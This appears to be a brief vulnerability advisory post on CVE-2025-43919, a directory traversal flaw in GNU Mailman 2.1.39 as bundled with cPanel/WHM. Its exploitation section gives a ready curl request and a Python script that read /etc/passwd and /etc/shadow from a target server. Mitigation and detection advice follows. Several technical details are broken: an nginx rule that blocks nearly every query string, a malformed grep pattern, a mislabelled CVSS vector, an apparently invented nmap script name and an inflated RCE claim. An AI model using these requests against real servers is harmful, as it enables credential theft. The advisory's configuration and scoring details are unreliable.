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How the CVE Works:
CVE-2025-43919 exploits a directory traversal vulnerability in GNU Mailman 2.1.39, as bundled in cPanel/WHM. Attackers send crafted HTTP requests to `/mailman/private/mailman` (the private archive authentication endpoint) with a malicious `username` parameter containing `../` sequences. This bypasses path sanitization, allowing unauthorized access to arbitrary files on the server. The flaw stems from insufficient input validation, enabling attackers to read sensitive system files (e.g., /etc/passwd, configuration files) without authentication.
DailyCVE Form:
Platform: GNU Mailman (cPanel/WHM)
Version: 2.1.39
Vulnerability: Directory Traversal
Severity: Critical
Date: 04/24/2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl "http://target.com/mailman/private/mailman?username=../../../../etc/passwd"
2. Automated Exploit (Python):
import requests
target = "http://target.com/mailman/private/mailman"
payload = {"username": "../../../../etc/shadow"}
response = requests.get(target, params=payload)
print(response.text)
Mitigation:
- Patch: Upgrade to GNU Mailman ≥2.1.40 or apply cPanel patches.
2. Input Sanitization: Reject `../` in user-supplied parameters.
- WAF Rules: Block requests containing path traversal sequences.
location /mailman/private/ { if ($args ~ "..") { return 403; } } - Log Monitoring: Alert on repeated access to
/mailman/private/mailman.grep -E 'GET /mailman/private/mailman...' /var/log/nginx/access.log
Detection:
1. Vulnerability Scan:
nmap --script http-vuln-cve2025-43919 -p 80,443 target.com
2. Manual Verification:
wget "http://target.com/mailman/private/mailman?username=./test.txt" -O /dev/null
Impact Analysis:
- Critical: Unauthenticated RCE potential via leaked credentials.
- CVSS 4.0: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` (9.1)
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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